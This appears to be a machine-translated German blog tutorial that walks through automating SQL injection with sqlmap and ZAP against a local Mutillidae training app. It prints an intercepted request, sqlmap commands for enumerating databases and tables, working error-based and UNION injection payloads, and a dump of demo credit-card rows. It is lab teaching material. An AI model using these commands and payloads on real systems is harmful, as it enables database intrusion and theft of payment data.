A1: 2017 - Injektionen (Teil 3 und letzte)

In meinem Lieblingscomputerspiel Quest for Glory 2: Trial by Fire landet die Hauptfigur an der University of Wizards, wenn die Welt erneut in Gefahr ist. Nach erfolgreichem Bestehen der Aufnahmeprüfungen bieten bärtige Zauberer an, an diese Universität zu gehen, denn wenn wir sie abgeschlossen haben, werden wir alle Feinheiten der Magie verstehen, alle Zaubersprüche studieren und dann definitiv unsere Freunde retten und das Böse der Welt besiegen. Das einzige Problem ist, dass sie 15 bis 20 Jahre lang studieren müssen und während dieser Zeit die Mächte des Bösen mehr als einmal Zeit haben werden, zu besiegen.

Jedes Mal, wenn ich mich unfreiwillig an diese Episode erinnere, sehe ich mich einem anderen interessanten Buch oder einem Stapel technischer Dokumentation gegenüber. Es wurden viele Bücher über Zeitmanagement geschrieben, aber für mich kommt es auf eine einfache Formel an: die Grundlagen herausgefunden, Beispiele herausgefunden - dann nur Automatisierung!

Jetzt, da wir eine ungefähre Vorstellung davon haben, wie die Injektionen funktionieren, warum nicht versuchen, unser Leben zu vereinfachen und noch einmal ein Beispiel aus der Vergangenheit zu erkennen, aber mit Hilfe zusätzlicher Software. Wir brauchen zwei Werkzeuge:
Sqlmap - ein Tool, mit dem Sie die Suche und Ausnutzung von Schwachstellen in SQL und ZAP Proxy automatisieren können - ein lokaler Proxyserver, der zur Analyse des Datenverkehrs zwischen dem Browser auf dem Webserver benötigt wird.

Auch hier ist es erwähnenswert, dass dies nicht die einzigen derartigen Tools sind. Im nächsten Blog werden Sie sicher überzeugend bewiesen, dass Sie sich anstelle von sqlmap mit sqlninja befassen müssen und keine Zeit mit ZAP verbringen müssen, wenn es Burp gibt. Ich werde mit niemandem streiten.

Wir werden beginnen, das Leben einfacher zu machen, indem wir den Verkehr zwischen dem Client und dem Webserver abfangen. Die resultierenden Daten werden als Parameter für sqlmap verwendet. Im Großen und Ganzen kann die URL der anfälligen Anwendung auch als solcher Parameter dienen, aber jetzt sind die Daten vom Proxy für uns klarer.

Wir werden mit demselben Beispiel aus A1 arbeiten, das wir im vorherigen Artikel analysiert haben („SQLi - Daten extrahieren“> „Benutzerinformationen (SQL)“).


Wir werden über unseren ZAP-Proxy auf diese Seite gehen und einige Daten eingeben. Ich verstehe, dass die Versuchung bereits darin besteht, etwas von dem zu versuchen, was wir gelernt haben, aber im Moment müssen Sie nur offensichtlich falsche Daten eingeben. Ich gebe meinen Lieblingsadministrator / mein Lieblingskennwort ein und erhalte beim Abfangen die folgende Anfrage:

GET http://127.0.0.1/mutillidae/index.php?page=user- info.php&username=admin&password=password&user-info-php-submit- button=View+Account+Details HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega Connection: keep-alive Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 

Hier interessiert uns vor allem die erste Zeile, nämlich die Anfrage. Manchmal ist es nützlich zu überprüfen, ob wir abgefangen haben. Dies kann durch Wiederholen dieser generierten Anforderung im selben Browser erfolgen. Wenn wir dieselbe Seite mit einem Fehler erhalten, sind wir auf dem richtigen Weg.

Wir werden unsere abgefangene Anfrage als separate Datei request_sqlmap.txt speichern.

Übergeben wir diese Datei zur Analyse an sqlmap:

 sqlmap -r reqest_sqlmap.txt --banner 

Wir benötigen den Parameter –banner für sqlmap , um festzustellen, um welches DBMS es sich handelt. In unserem Beispiel ist dies nicht so wichtig, aber in der Praxis können Sie das Testen beschleunigen, ohne von Aspekten anderer DBMS abgelenkt zu werden, die für Ihr Ziel nicht zutreffen.

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests: --- Parameter: username (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details --- [23:20:10] [INFO] the back-end DBMS is MySQL [23:20:10] [INFO] fetching banner web server operating system: Windows web application technology: Apache 2.4.29, PHP 7.2.3 back-end DBMS: MySQL >= 5.0 banner: '10.1.31-MariaDB' [23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1' 

Der Scan wurde erfolgreich abgeschlossen und wir haben wieder einmal gesehen, was wir im Allgemeinen bereits wussten:

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable 

Darüber hinaus hat sqlmap festgestellt, dass es sich um MySQL oder vielmehr um dessen Gabel handelt. Nun wollen wir sehen, welche Datenbanken sich auf dem Server befinden:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs 

Im Folgenden geben wir unsere Interception-Datei als Parameter für sqlmap an. Darüber hinaus geben wir die Parameter an, die wir bereits kennen: den DBMS-Typ sowie den Schalter -dbs , um Daten zu vorhandenen Datenbanken abzurufen :

 [23:27:19] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] information_schema [*] mutillidae [*] mysql [*] performance_schema [*] phpmyadmin [*] test 


Großartig. Normalerweise erhalten Datenbanken einige aussagekräftige Namen oder sie werden bei der Installation von Anwendungen automatisch erstellt. Das Prinzip „Sicherheit durch Dunkelheit“ wurde natürlich nicht aufgehoben, aber dies ist eher die Ausnahme als die Regel. Das Interessanteste in unserem Fall ist anscheinend die Basis mutillidae. Mal sehen, woraus sie besteht:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables 

Hier fügen wir zu den uns bekannten Dingen das erforderliche DBMS und den Schlüssel –tables hinzu, um die Tabellen in dieser Datenbank anzuzeigen:

 [23:29:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae [13 tables] +----------------------------+ | accounts | | balloon_tips | | blogs_table | | captured_data | | credit_cards | | help_texts | | hitlog | | level_1_help_include_files | | page_help | | page_hints | | pen_test_tools | | user_poll_results | | youtubevideos | +----------------------------+ 

Schon nicht schlecht. Die Tabelle credit_cards sieht besonders vielversprechend aus. Schauen wir uns das an:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns 

und bekommen:

 [23:31:35] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [4 columns] +------------+---------+ | Column | Type | +------------+---------+ | ccid | int(11) | | ccnumber | text | | ccv | text | | expiration | date | +------------+---------+ 

Wow, es gibt eine ganze Tabelle, in der Kreditkartendaten gespeichert werden sollten! Nachdem wir angekommen sind, schauen wir uns diesen Tisch an:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump 

Ups:

 [23:32:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [5 entries] +------+-----+----------------------------+-----------------+ | ccid | ccv | ccnumber | expiration | +------+-----+----------------------------+-----------------+ | 1 | 745 | 4444111122223333 | 2012-03-01 | | 2 | 722 | 7746536337776330 | 2015-04-01 | | 3 | 461 | 8242325748474749 | 2016-03-01 | | 4 | 230 | 7725653200487633 | 2017-06-01 | | 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+----------------------------+-----------------+ 

Hier sind sie, unsere Kreditkarten. Zwei Fragen sollten jetzt in Ihrem Kopf klingen: Wie funktioniert es und woher kommen all diese Daten?

Wie funktioniert es Genau genommen ist es dasselbe, als würden Sie alle möglichen Optionen sortieren und nach dem Zufallsprinzip versuchen, diese oder jene Sicherheitsanfälligkeit auszunutzen.

Aber woher stammen die Daten? Die Frage ist an den Administrator, der so wichtige Informationen an einem so unangemessenen Ort veröffentlicht hat.

Sqlmap enthält Dutzende von Parametern, die wir nicht in einem Artikel analysieren können. Die Aufgabe meiner Artikel ist es jedoch, die Lösung vorzustellen, und dann liegt es an Ihnen. Versuchen Sie nach Belieben, auch den Rest der Basis zu graben und mit den Parametern zu experimentieren. Vielleicht sind Kreditkarten nicht die interessantesten. =)

Lesen Sie den Blog des Autors unter diesem Link .

Source: https://habr.com/ru/post/de429706/


All Articles